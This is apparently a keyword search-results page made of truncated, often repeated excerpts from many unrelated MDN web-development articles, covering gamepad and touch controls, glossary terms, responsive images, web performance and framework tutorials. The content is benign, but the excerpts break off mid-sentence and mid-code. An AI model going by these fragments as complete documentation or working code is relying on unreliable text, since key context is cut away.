JavaScript implementations to their limits and for comparing their relative speed. jsMSX can also be used to tightly integrate existing MSX programs in web page logic. How to help Lots of work to optimize the performance and add MSX 2.0, 2.0+ and TurboR features are still necessary. Version 1.0 will release an optimized
javascript engin...
...aring their relative speed. jsMSX can also be used to tightly integrate existing MSX programs in web page logic. How to help Lots of work to optimize the performance and add MSX 2.0, 2.0+ and TurboR features are still necessary. Version 1.0 will release an optimized
javascript engine for MSX 1.0. Version 2.0, 3.0 and 4.0 will be compatible with MSX 2.0, 2.0+ and TurboR respectively. An uncompress
JavaScript function able to read zip and lhz file streams is also necessary to load compressed rom files. If you think you'd like to participate, are just curious, or want to say hello, please have a look at the project and please drop a line to the project forum. External Links View the online demo (requires Firefox 2+) jsMSX Project See Also Drawing Graphics with Canvas Canvas tutorial jsC64 The 100% J...
The Business Benefits of Web Standards - Archive of obsolete content
e proper titles and descriptions in the meta is surprising. A lot of other sites would greatly increase their SEO by simply using proper tags for the content. Adding h1, h2, and h3, tags and so on gives proper structure to hypertext documents. Search engine agents crawl the web to index it, but for ranking and indexing purposes they can only process text. Dynamic effects such as those created by
JavaScript are not taken into account, and text rendered with graphics cannot be read and parsed either. Separating presentation from content increases the information/markup ratio, making CSS-based documents more pertinent with regard to the search terms, which makes them rank higher in search results. Using CSS to render titles instead of graphics also helps in this regard. There are very significant dif...
...t is simply not possible for everybody not to gain and share in the huge benefits of Standards. Customers, developers, digital media creators, can be freed from the tyranny of graphics led development, code generators, and incomprehensible markup. But the real value is at the bottom line. The message to accountants, executives and shareholders alike should be irresistible. Benefits of CSS over
JavaScript Specifically, graphics and
JavaScript are often used for special effects on text fragments. As Style Sheet technology gives designers good typographic control and permits effects such as roll-overs, it greatly reduces the need for
JavaScript programming and creation of graphics. Even more importantly, it reduces bandwidth consumption by images. Well-formed HTML Code Saves Time and Money One of...
...sing web standards methodologies, processes and practises perform far better for every single metric. They load faster, they are easy to find in search engines, and they package and deliver the content effectively. All these great experiences can be enjoyed by the user regardless of platform, software, operating system, or any one of a dozen other variables including screen size, text resolution,
JavaScript activation, or any disabilty the user may have. Conclusion Using web standards and separating structure from presentation brings a host of benefits for today and tomorrow. Today, it means more audience, lower cost to produce new content, and becoming compliant with accessibility requirements. For tomorrow, it means reducing vendor lock-in, reducing cost of maintenance, and having a more flexi...
Desktop gamepad controls - Game development
Previous Overview: Control mechanisms Next Now we'll look at adding something extra -- support for gamepad controls, via the Gamepad API. It brings a console-like experience to your web games. The Gamepad API gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the
JavaScript code thanks to the browsers implementing such feature. An API exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. API status, browser and hardware support The Gamepad API is still in Working Draft status, although browser support is already quite good -- around 63% global coverage, according to caniuse.com. The list of supported devices is also quite extensive -- most popular gamepads (e.g.
...cessfully control the user interface and gameplay. API status, browser and hardware support The Gamepad API is still in Working Draft status, although browser support is already quite good -- around 63% global coverage, according to caniuse.com. The list of supported devices is also quite extensive -- most popular gamepads (e.g. XBox 360 or PS3) should be suitable for web implementations. Pure
JavaScript approach Let's think about implementing pure
JavaScript gamepad controls in our little controls demo first to see how it would work. First, we need an event listener to listen for the connection of the new device: window.addEventListener("gamepadconnected", gamepadHandler); It's executed once, so we can create some variables we will need later on for storing the controller info and the pressed...
...istead of checking out if gamepadButtonPressedHandler(3) is pressed, you could do a more descriptive check: gamepadButtonPressedHandler('DPad-Right'). You can see a live demo in action -- try connecting your gamepad and pressing the buttons. Phaser approach Let's move on to the final Gamepad API implementation in the Captain Rogers: Battle at Andromeda game we created with Phaser. This is pure
JavaScript code however too, so can be used in any other project no matter what framework was used. First off, we'll create a small library that will take care of handling the input for us. Here's the GamepadAPI object, which contains useful variables and functions: var GamepadAPI = { active: false, controller: {}, connect: function(event) {}, disconnect: function(event) {}, update: fu...
Mobile touch controls - Game development
ame development process -- in the modern world, this generally also involves implementing touch controls. In this tutorial, we will see how easy it is to implement mobile controls in an HTML5 game, and enjoy playing on a mobile touch-enabled device. Note: The game Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure
JavaScript. ...
...me, and enjoy playing on a mobile touch-enabled device. Note: The game Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure
JavaScript. The good thing about using Phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. ...
...rt is fired when the user puts a finger on the screen. touchmove is fired when they move the finger on the screen while touching it touchend is fired when the user stops touching the screen touchcancel is fired when a touch is cancelled, for example when the user moves their finger outside of the screen. Note: The touch events reference article provides more examples and information. Pure
JavaScript demo Let's implement the mobile support in a little demo available on GitHub, so we can move the player's ship by touching the screen on a mobile device. We will use two events: touchstart and,touchmove both handled by one function. Why? The function touchHandler will assign proper variables to the ship's position so that we can use it for both cases: when the player touches the screen but does...
Unconventional controls - Game development
by watching this video. Leap Motion Have you ever thought about controlling a game only with your hands? It's possible with Leap Motion, an immersive controller for games and apps. Leapmotion is becoming more and more popular due to very good integration with VR headsets -- demoing Rainbow Membrane on an Oculus Rift with Leap Motion attached to it was voted one of the best WebVR experiences by
JavaScript developers visiting demo booths at conferences around the world. As well as being great for virtual interfaces, it can also be used for a casual 2D gaming experiences. It would be very difficult to do everything with only your hands, but it's totally doable for the simple Captain Roger's gameplay -- steering the ship and shooting the bullets. There's good Hello World and Getting Started JavaScr...
...If all else fails, there's also a gallery of working examples you can look at. To get the Leap Motion working on your computer you have to first install it by following the steps at leapmotion.com/setup. ...
...lue is lower than the threshold's negative value, then the ship is moved right. up/down movement works in the same sort of way. The last value is grabStrength, which is a float between 0 and 1 -- when reaching 1 (fist fully clenched), we show an alert for now (in a full game this could be replaced with the shooting logic.) That's it -- everything you needed for a working Leap Motion example in
JavaScript is here already. You can explore the hand's properties and implement any behaviour you like right inside your game. Doppler effect There's a very interesting article available on Motion sensing using the doppler effect, which mixes together waving your hand and using the microphone. This time it's about detecting sound waves bouncing off objects and returning to the microphone. If the freque...
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
In
JavaScript, BigInt is a numeric data type that can represent integers in the arbitrary precision format. In other programming languages different numeric types can exist, for examples: Integers, Floats, Doubles, or Bignums. ...
... In
JavaScript, BigInt is a numeric data type that can represent integers in the arbitrary precision format. In other programming languages different numeric types can exist, for examples: Integers, Floats, Doubles, or Bignums. ...
... In
JavaScript, BigInt is a numeric data type that can represent integers in the arbitrary precision format. In other programming languages different numeric types can exist, for examples: Integers, Floats, Doubles, or Bignums. ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
ates more than just compilation is done, e.g. packaging it in a binary format. Usually, a compiler transforms a higher-level language such as C or Java, which humans understand, into a machine language, such as assembly, that the CPU can understand. Some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from TypeScript to
JavaScript. ...
...Projects like WebAssembly work on making this even better. ...
... considered productivity tools. Most Compilers work either ahead-of-time (AOT) or just-in-time (JIT). As a programmer, you usually invoke AOT compilers from a command line or your IDE. The most famous, "gcc" is one example. JIT compilers are usually transparent to you, used for performance. For instance in the browser: Firefox' SpiderMonkey
JavaScript Engine has a JIT built-in that will compile
JavaScript in a website to machine code while you're viewing it so it runs faster. Projects like WebAssembly work on making this even better. Learn more General knowledge Compiler on Wikipedia The GNU Compiler Collection (GCC) Learning resources Base CS Introduction on Compilers A big list of learning material on StackOverflow ...
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
A constructor belongs to a particular class object that is instantiated. The constructor initializes this object and can provide access to its private information. The concept of a constructor can be applied to most object-oriented programming languages. Essentially, a constructor in
JavaScript is usually declared at the instance of a class. Syntax // This is a generic default constructor class Default function Default() { } // This is an overloaded constructor class Overloaded // with parameter arguments function Overloaded(arg1, arg2, ...,argN){ } To call the constructor of the class in
JavaScript, use a new operator to assign a new object reference to a variable. function Default() { } // A new reference of a Default object assigned to a // local variable defaultReference var defau...
...the constructor of the class in
JavaScript, use a new operator to assign a new object reference to a variable. ...
...aScript, use a new operator to assign a new object reference to a variable. ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
There are 8 falsy values: false The keyword false 0 The number zero -0 The number negative zero 0n BigInt, when used as a boolean, follows the same rule as a Number. 0n is falsy. ...
... when used as a boolean, follows the same rule as a Number. 0n is falsy. "" Empty string value null null - the absence of any value undefined undefined - the primitive value NaN NaN - not a number Objects are falsy if and only if they have the [[IsHTMLDDA]] internal slot. This slot only exists in document.all and cannot be set using
JavaScript. ...
...Number. 0n is falsy. "" Empty string value null null - the absence of any value undefined undefined - the primitive value NaN NaN - not a number Objects are falsy if and only if they have the [[IsHTMLDDA]] internal slot. This slot only exists in document.all and cannot be set using
JavaScript. ...
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
Garbage collection is a term used in computer programming to describe the process of finding and deleting objects which are no longer being referenced by other objects. ...
...ts. In other words, garbage collection is the process of removing any objects which are not being used by any other objects. Often abbreviated "GC," garbage collection is a fundamental component of the memory management system used by
JavaScript. ...
...s the process of removing any objects which are not being used by any other objects. Often abbreviated "GC," garbage collection is a fundamental component of the memory management system used by
JavaScript. ...
Method - MDN Web Docs Glossary: Definitions of Web-related terms
A method is a function which is a property of an object. There are two kind of methods: Instance Methods which are built-in tasks performed by an object instance, or Static Methods which are tasks that are called directly on an object constructor. ...
... methods: Instance Methods which are built-in tasks performed by an object instance, or Static Methods which are tasks that are called directly on an object constructor. Note: In
JavaScript functions themselves are objects, so, in that context, a method is actually an object reference to a function. ...
...ich are tasks that are called directly on an object constructor. Note: In
JavaScript functions themselves are objects, so, in that context, a method is actually an object reference to a function. ...
Number - MDN Web Docs Glossary: Definitions of Web-related terms
In
JavaScript, Number is a numeric data type in the double-precision 64-bit floating point format (IEEE 754). In other programming languages different numeric types exist; for example, Integers, Floats, Doubles, or Bignums. ...
... In
JavaScript, Number is a numeric data type in the double-precision 64-bit floating point format (IEEE 754). In other programming languages different numeric types exist; for example, Integers, Floats, Doubles, or Bignums. ...
... In
JavaScript, Number is a numeric data type in the double-precision 64-bit floating point format (IEEE 754). In other programming languages different numeric types exist; for example, Integers, Floats, Doubles, or Bignums. ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
Object refers to a data structure containing data and instructions for working with the data. Objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
... Object refers to a data structure containing data and instructions for working with the data. Objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
... structure containing data and instructions for working with the data. Objects sometimes refer to real-world things, for example a car or map object in a racing game.
JavaScript, Java, C++, Python, and Ruby are examples of object-oriented programming languages. ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
Would you need to look at the code to understand what the function did if it was called build('Peach'), or createLiWithContent('Peach')? Semantics in CSS In CSS, consider styling a list with li elements representing different types of fruits. ...
...Would you need to look at the code to understand what the function did if it was called build('Peach'), or createLiWithContent('Peach')? Semantics in CSS In CSS, consider styling a list with li elements representing different types of fruits. ...
...Would you need to look at the code to understand what the function did if it was called build('Peach'), or createLiWithContent('Peach')? Semantics in CSS In CSS, consider styling a list with li elements representing different types of fruits. ...
Syntax error - MDN Web Docs Glossary: Definitions of Web-related terms
An exception caused by the incorrect use of a pre-defined syntax. Syntax errors are detected while compiling or parsing source code. For example, if you leave off a closing brace (}) when defining a
JavaScript function, you trigger a syntax error. ...
... An exception caused by the incorrect use of a pre-defined syntax. Syntax errors are detected while compiling or parsing source code. For example, if you leave off a closing brace (}) when defining a
JavaScript function, you trigger a syntax error. ...
...eption caused by the incorrect use of a pre-defined syntax. Syntax errors are detected while compiling or parsing source code. For example, if you leave off a closing brace (}) when defining a
JavaScript function, you trigger a syntax error. ...
The HTML5 input types - Learn web development
e current value (we'll also look at this element in the next article). You could display an input value or the output of a calculation inside any element, but <output> is special -- like <label>, it can take a for attribute that allows you to associate it with the element or elements that the output value came from. To actually display the current value, and update it as it changed, you must use
JavaScript, but this is relatively easy to do: const price = document.querySelector('#price'); const output = document.querySelector('.price-output'); output.textContent = price.value; price.addEventListener('input', function() { output.textContent = price.value; }); Here we store references to the range input and the output in two variables. Then we immediately set the output's textContent to the cur...
... widgets don't have the best browser support. At the moment, Chrome, Edge, and Opera support them well, but there is no support in Internet Explorer, Safari has some mobile support (but no desktop support), and Firefox supports time and date only. The reference pages linked to above provide suggestions on how to program fallbacks for non-supporting browsers; another option is to consider using a
JavaScript library to provide a date picker. Most modern frameworks have good components available to provide this functionality, and there are standalone libraries available too (see Top date picker
JavaScript plugins and libraries for some suggestions). Color picker control Colors are always a bit difficult to handle. There are many ways to express them: RGB values (decimal or hexadecimal), HSL values, ...
.... We cover those in the next article. ...
UI pseudo-classes - Learn web development
s: input[type="text"]:disabled { background: #eee; border: 1px solid #ccc; } .disabled-label { color: #aaa; } We've directly selected the inputs we want to disable using input[type="text"]:disabled, but we also wanted to gray out the corresponding text labels. These weren't quite as easy to select, so we've used a class to provide them with that styling. ...
...their choices. Also mentioned above radios/checkboxes will be matched by the :indeterminate pseudo-class when they are in a state where they are neither checked nor unchecked. But what does this mean? Elements that are indeterminate include: <input/radio> inputs, when all radio buttons in a same-named group are unchecked <input/checkbox> inputs whose indeterminate property is set to true via
JavaScript <progress> elements that have no value. This isn't something you'll likely use very often. One use case could be an indicator to tell users that they really need to select a radio button before they move on. Let's look at a couple of modified versions of the previous example that remind the user what the default option was, and style the radio buttons when indeterminate. Both of these have th...
...erent -- client-side form validation. ...
Using data attributes - Learn web development
erData(). HTML syntax The syntax is simple. Any attribute on any element whose attribute name starts with data- is a data attribute. Say you have an article and you want to store some extra information that doesn't have any visual representation. Just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article>
JavaScript access Reading the values of these attributes out in
JavaScript is also very simple. You could use getAttribute() with their full HTML name to read them, but the standard defines a simpler way: a DOMStringMap you can read out via a dataset property. To get a data attribute through the dataset object, get the property by the part of the attribute name after data- (note that dashes are converted ...
...(data-parent); } You can also use the attribute selectors in CSS to change styles according to the data: article[data-columns='3'] { width: 400px; } article[data-columns='4'] { width: 600px; } You can see all this working together in this JSBin example. Data attributes can also be stored to contain information that is constantly changing, like scores in a game. Using the CSS selectors and
JavaScript access here this allows you to build some nifty effects without having to write your own display routines. See this screencast for an example using generated content and CSS transitions (JSBin example). Data values are strings. Number values must be quoted in the selector for the styling to take effect. Issues Do not store content that should be visible and accessible in data attributes, becau...
... ...
Responsive images - Learn web development
only 63KB -- a saving of 65KB. Now, imagine if this was a page that had many pictures on it. Using this technique could save mobile users a lot of bandwidth. Note: When testing this with a desktop browser, if the browser fails to load the narrower images when you've got its window set to the narrowest width, have a look at what the viewport is (you can approximate it by going into the browser's
JavaScript console and typing in document.querySelector('html').clientWidth). Different browsers have minimum sizes that they'll let you reduce the window width to, and they might be wider than you'd think. When testing it with a mobile browser, you can use tools like Firefox's about:debugging page to inspect the page loaded on the mobile using the desktop developer tools. To see which images were loaded...
...s example), and a fallback for browsers that don't support the <picture> element. This code allows us to display a suitable image on both wide screen and narrow screen displays, as shown below: Note: You should use the media attribute only in art direction scenarios; when you do use media, don't also offer media conditions within the sizes attribute. Why can't we just do this using CSS or
JavaScript? When the browser starts to load a page, it starts to download (preload) any images before the main parser has started to load and interpret the page's CSS and
JavaScript. That mechanism is useful in general for reducing page load times, but it is not helpful for responsive images -- hence the need to implement solutions like srcset. For example, you couldn't load the <img> element, then detect ...
...By then, the original image would already have been loaded, and you would load the small image as well, which is even worse in responsive image terms. ...
Video and audio content - Learn web development
ar for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues. A native solution would solve much of this if implemented correctly. Fortunately, a few years later the HTML5 specification had such features added, with the <video> and <audio> elements, and some shiny new
JavaScript APIs for controlling them. We'll not be looking at
JavaScript here -- just the basic foundations that can be achieved with HTML. We won't be teaching you how to produce audio and video files -- that requires a completely different skillset. We have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own. Note:...
... way as for the <img> element, the src (source) attribute contains a path to the video you want to embed. It works in exactly the same way. controls Users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) You must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate
JavaScript API. At a minimum, the interface must include a way to start and stop the media, and to adjust the volume. The paragraph inside the <video> tags This is called fallback content -- this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case, we've provided a direct ...
...e.webm" type="video/webm"> <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> </video> This will result in a video that has subtitles displayed, kind of like this: For more details, please read Adding captions and subtitles to HTML5 video. You can find the example that goes along with this article on Github, written by Ian Devlin (see the source code too.) This example uses some
JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option -- English, Deutsch, or Espanol. Note: Text tracks also help you with SEO, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video. Active learning: Embedding your own...
Aprender y obtener ayuda - Learn web development
ior web developer in three months. I want to start my own company and build a social network that will out-perform Facebook, in two years. What do you need to get there? Once you've worked out your goal, it is a good idea to research what you'll need to achieve the goal. For example: Materials I need: A computer Internet access Pens and paper Knowledge I need: How to use HTML, CSS,
JavaScript, and associated tools and best practices to build web sites and web applications (we can definitely help you with this one!). How to get a domain, hosting, and use them to put a web site or application online. How to run a small business. How to advertise my business and attract clients. How much time and money will it take? Estimate the time and cost of getting these things. If you'll need...
... Keep thinking about how much progress you are making, and adjust your plan if needs be. Staying motivated It is hard to stay motivated, especially if you are trying to learn a complex skill like programming or web development. What follows are some tips to stay motivated and keep working: Try to make your work env...
...ed to use in your favorite search engine to find the articles you need? It is often fairly obvious what to search for. For example: If you want to find out more about responsive web design, you could search for "responsive web design". If you want to find out more about a specific technology feature, such as the HTML <video> element, or the CSS background-color or opacity properties, or the
JavaScript Date.setTime() method, you should just search for the feature's name. If you are looking for some more specific information, you can add other keywords as modifiers, for example "<video> element autoplay attribute", or "Date.setTime parameters". If you want to search for something that has less obvious buzzwords, you need to think about what is most likely to return what you want. Run code ...
Web performance resources - Learn web development
possible. Below is a quick review of best practices, tools, APIs with links to provide more information about each topic. Best practices Start with learning the critical rendering path of the browser. Knowing this will help you understand how to improve the performance of the site. Using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload Keep the size of
Javascript to a minimum. Only use as much
Javascript as needed for the current page. CSS performance factors Use HTTP/2 on your server (or CDN). Use a CDN for resources which can reduce load times significantly. Compress your resources using gzip, Brotli, and Zopfli. Image optimization (use CSS animation, or SVG if possible). Lazy loading parts of your application outside the viewport. If you do, have...
...ived performance. As we learned in the critical rendering path document, linking CSS with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. Optimize the rendering of your page by removing blocking CSS. To load CSS asynchronously one can simpy set the media type to print and then change to all once loaded. The following snippet includes an onload attribute, requiring
Javascript, so it is important to include a noscript tag with a traditional fallback. <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> The downside with this approach is the flash of unstyled text (FOUT.) The simplist way to address this is by inlining CSS that is required for any content that is ren...
... The downside with this approach is the flash of unstyled text (FOUT.) The simplist way to address this is by inlining CSS that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling. These styles will improve perceived performance as the CSS does not require a file request. <style type="text/css"> // Insert your CSS here </style>
Javascript Avoid
Javascript blocking by using the async or defer attributes, or link
javascript assets after the page's DOM elements.
Javascript only block rendering for elements that appear after the script tag in the DOM tree. Web Fonts EOT and TTF formats are not compressed by default. Apply compression such as GZIP or Brotli for these file types. Use WOFF and WOFF2. These formats have compression bui...
What is web performance? - Learn web development
le start after it has started loading is called time to interactive. Smoothness and interactivity: Does the application feel reliable and pleasurable to use? Is the scrolling smooth? Are buttons clickable? Are pop-ups quick to open up, and do they animate smoothly as they do so? There are a lot of best practices to consider in making apps feel smooth, for example using CSS animations rather than
JavaScript for animation, and minimizing the number of repaints the UI requires due to changes in the DOM. Perceived performance: How fast a website seems to the user has a greater impact on user experience than how fast the website actually is. How a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable.
...ing the performance, to ensure that what you've optimized stays optimized. This involves a number of metrics (measurable indicators that can indicate success or failure) and tools to meaure those metrics, which we will discuss throughout this module. To summarize, many features impact performance including latency, application size, the number of DOM nodes, the number of resource requests made,
JavaScript performance, CPU load, and more. It is important to minimize the loading and response times, and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience. Note: Web performance includes both objective measurements like time to load, frames per second,...
... HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
The "why" of web performance - Learn web development
ssions per user. Rebuilding Pinterest pages for performance resulted in a 40% decrease in wait time, a 15% increase in SEO traffic and a 15% increase in conversion rate to signup. To build websites and applications people want to use; to attract and retain site visitors, you need to create an accessible site that provides a good user experience. Building websites requires HTML, CSS, and
JavaScript, typically including binary file types such as images and video. The decisions you make and the tools you choose as you build your site can greatly affect the performance of the finished work. Good performance is an asset. Bad performance is a liability. Site speed directly affects bounce rates, conversion, revenue, user satisfaction, and search engine ranking. Performant sites have been shown t...
...ffects bounce rates, conversion, revenue, user satisfaction, and search engine ranking. Performant sites have been shown to increase visitor retention and user satisfaction. Slow content has been shown to lead to site abandonment, with some visitors leaving to never return. Reducing the amount of data that passes between the client and the server lowers the costs to all parties. Reducing HTML/CSS/
JavaScript and media file sizes reduces both the time to load and a site's power consumption (see performance budgets). Tracking performance is important. Multiple factors, including network speed and device capabilities affect performance. There is no single performance metric; and differing business objectives may mean different metrics are more relavant to the goals of the site or the organization that ...
...n or business. Good or bad website performance correlates powerfully to user experience, as well as the overall effectiveness of most sites. This is why you should care about web performance. Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Client-Server Overview - Learn web development
for success, "404 Not Found" if the resource cannot be found, "403 Forbidden" if the user isn't authorised to see the resource, etc). The body of a successful response to a GET request would contain the requested resource. When an HTML page is returned it is rendered by the web browser. As part of processing the browser may discover links to other resources (e.g. an HTML page usually references
JavaScript and CSS pages), and will send separate HTTP Requests to download these files. Both static and dynamic websites (discussed in the following sections) use exactly the same communication protocol/patterns. GET request/response example You can make a simple GET request by clicking on a link or searching on a site (like a search engine homepage). For example, the HTTP request that is sent when you ...
...t location. The server for a static site will only ever need to process GET requests, because the server doesn't store any modifiable data. It also doesn't change its responses based on HTTP Request data (e.g. URL parameters or cookies). Understanding how static sites work is nevertheless useful when learning server-side programming, because dynamic sites handle requests for static files (CSS,
JavaScript, static images, etc.) in exactly the same way. Dynamic sites A dynamic site is one that can generate and return content based on the specific request URL and data (rather than always returning the same hard-coded file for a particular URL). Using the example of a product site, the server would store product "data" in a database rather than individual HTML files. When receiving an HTTP GET Reque...
...tion returns the generated HTML to the web browser (via the Web Server), along with an HTTP status code of 200 ("success"). If anything prevents the HTML from being returned then the Web Application will return another code -- for example "404" to indicate that the team does not exist. The Web Browser will then start to process the returned HTML, sending separate requests to get any other CSS or
JavaScript files that it references (see step 7). The Web Server loads static files from the file system and returns them to the browser directly (again, correct file handling is based on configuration rules and URL pattern matching). An operation to update a record in the database would be handled similarly, except that like any database update, the HTTP request from the browser should be encoded as a P...
Accessibility in React - Learn web development
Objective: To learn about implementing keyboard accessibility in React. Including keyboard users At this point, we've accomplished all of the features we set out to implement. A user can add a new task, check and uncheck tasks, delete tasks, or edit task names. And they can filter their task list by all, active, or completed tasks. ...
...Ref, useEffect } from "react"; Then declare a new ref inside the App() function. Just above the return statement is a good place: const listHeadingRef = useRef(null); Prepare the heading Heading elements like our <h2> are not usually focusable. This isn't a problem -- we can make any element programmatically focusable by adding the attribute tabindex="-1" to it. This means only focusable with
JavaScript. You can't press Tab to focus on an element with a tabindex of -1 the same way you could do with a <button> or <a> element (this can be done using tabindex="0", but that's not really appropriate in this case). Let's add the tabindex attribute -- written as tabIndex in JSX -- to the heading above our list of tasks, along with our headingRef: <h2 id="list-heading" tabIndex="-1" ref={listHeadingRe...
...without them! Note: If you need to check your code against our version, you can find a finished version of the sample React app code in our todo-react repository. For a running live version, see https://mdn.github.io/todo-react-build/. In the very last article we'll present you with a list of React resources that you can use to go further in your learning. ...
Starting our Svelte Todo list app - Learn web development
In this article we will first have a look at the desired functionality of our app, then we'll create a Todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our To-Do list app features, which we'll go on to in subsequent articles. We want our users to be able to browse, add and delete tasks, and also to mark them as complete. This will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. ...
...l go on to in subsequent articles. We want our users to be able to browse, add and delete tasks, and also to mark them as complete. This will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. Objective: To learn how to create a Svelte component, render it inside another component, pass data into it using props, and save its state. Code along with us Git Clone the github repo (if you haven't already done it) with: git...
...to start your app in development mode. REPL To see the current state of the code in a REPL, visit: https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 Summary With our markup and styling in place our Todo list app is starting to take shape, and we have everything ready so that we can start to focus on the features we have to implement. ...
Vue conditional rendering: editing existing todos - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Now it is time to add one of the major parts of functionality that we're still missing -- the ability to edit existing todo items. To do this, we will take advantage of Vue's conditional rendering capabilities -- namely v-if and v-else -- to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. We'll also look at adding functionality to delete todo items. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installatio...
... v:if and v:else Now we have an isEditing flag that we can use to signify that the item is being edited (or not). If isEditing is true, we want to use that flag to display our ToDoItemEditForm instead of the checkbox. To do that, we'll use another Vue directive: v-if. The v-if directive will only render a block if the value passed to it is truthy. This is similar to how an if statement works in
JavaScript. v-if also has corresponding v-else-if and v-else directives to provide the equivalent of
JavaScript else if and else logic inside Vue templates. It's important to note that v-else and v-else-if blocks need to be the first sibling of a v-if/v-else-if block, otherwise Vue will not recognize them. You can also attach v-if to a <template> tag if you need to conditionally render an entire template. ...
...oDoItem.vue, see above). Summary This article has been fairly intense, and we covered a lot here. We've now got edit and delete functionality in our app, which is fairly exciting. We are nearing the end of our Vue series now. The last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. ...
Focus management with Vue refs - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next We are nearly done with Vue. The last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. We'll look at using Vue refs to handle this -- an advanced feature that allows you to have direct access to the underlying DOM nodes below the virtual DOM, or direct access from one component to the internal DOM structure of a child component. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and t...
...s deleted. We're already tracking the number of elements in our list heading -- the <h2> in App.vue -- and it's associated with our list of to-do items. This makes it a reasonable place to move focus to when we delete a node. First, we need to add a ref to our list heading. We also need to add a tabindex="-1" to it -- this makes the element programmatically focusable (i.e. it can be focused via
JavaScript), when by default it is not. Inside App.vue, update your <h2> as follows: <h2 id="list-summary" ref="listSummary" tabindex="-1">{{listSummary}}</h2> Note: tabindex is a really powerful tool for handling certian accessibility problems. However, it should be used with caution. Over-using tabindex="-1" can cause problems for all sorts of users, so only use it exactly where you need to. You shou...
...our way through all our Vue tutorials. In the next article we'll round things off with some further resources to take your Vue learning further. Note: If you need to check your code against our version, you can find a finished version of the sample Vue app code in our todo-vue repository. For a running live version, see https://mdn.github.io/todo-vue/dist/. ...
Accessibility API cross-reference
ALERT_LOW n/a n/a n/a This object is changing or moving rapidly ANIMATED n/a n/a n/a Indicates that the user input is currently directed to that object and it is "armed for selection." Example: a highlighted menu item or a pressed push button. For receiving text input, see FOCUSED n/a ARMED ARMED available to
javaScript as document.activeElement Indicates whether assistive technologies will present all, or only parts of, the changed region based on the change notifications defined by the aria-relevant attribute. n/a n/a aria-atomic Indicates whether inputting text could trigger display of one or more predictions of the user's intended value for an input ...
...for anything that's not a menu is poor n/a n/a aria-haspopup The item can get the keyboard focus FOCUSABLE FOCUSABLE FOCUSABLE tabindex attribute with value of 0 or more The item has focus for text input. For other kinds of keyboard operation, e.g. UI controls, see ARMED FOCUSED FOCUSED FOCUSED available to
javaScript as document.activeElement Appearance has changed for mouseover HOTTRACKED n/a n/a Especially used for sliders, scrollbars, toolbars, tablists... n/a HORIZONTAL HORIZONTAL aria-orientation=horizontal Indicates whether the element is exposed to an accessibility API. Note the reversed logic in some APIs ...
...ED n/a aria-disabled=true disabled (boolean attribute) Especially used for sliders and scrollbars n/a VERTICAL VERTICAL aria-orientation=vertical Accessible Events MSAA Event (EVENT_OBJECT_*, EVENT_SYSTEM_*) Java Accessibility Event Gnome Accessibility Signals Mac OS X Accessibility Event Description & Notes
JavaScript Relevant XUL FOCUS focus, focusin blur, focusout SELECTION select STATE_CHANGE change (not sure if this is the same thing?) ...
Accessibility Features in Firefox
input aids because there are far fewer keys to type to get the desired location. For example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. Caret browsing allows you to move through web content one letter a time. You can even select web content and copy it to the clipboard. -- all with the keyboard Detailed Advanced
